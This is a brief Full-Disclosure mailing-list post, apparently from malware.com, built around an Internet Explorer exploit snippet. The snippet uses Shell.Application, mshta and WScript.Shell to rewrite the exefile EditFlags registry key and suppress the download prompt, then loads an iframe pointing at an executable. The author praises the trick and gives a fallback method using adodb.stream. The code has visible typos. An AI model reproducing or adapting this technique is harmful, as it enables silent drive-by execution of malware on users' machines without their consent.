<!--
ActiveXObject("Shell.Application");
obj.ShellExecut("mshta.exe","about:<script>var wsh=new
ActiveXObject('WScript.Shell');wsh.RegWrite
('HKCR\exefile\EditFlags', 0x38070000, "REG_BINARY");)
</script><iframe src=foo.exe>");
-->
On quick reflection, I completely missed Matthew's point. It's
brilliant. If you can indeed kill the download dialog, kill it,
stick a frame in it and bang. If it doesn't work, use the
regWrite and re-set the adodb.stream instead, and continue on
your merry way.
--
http://www.malware.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html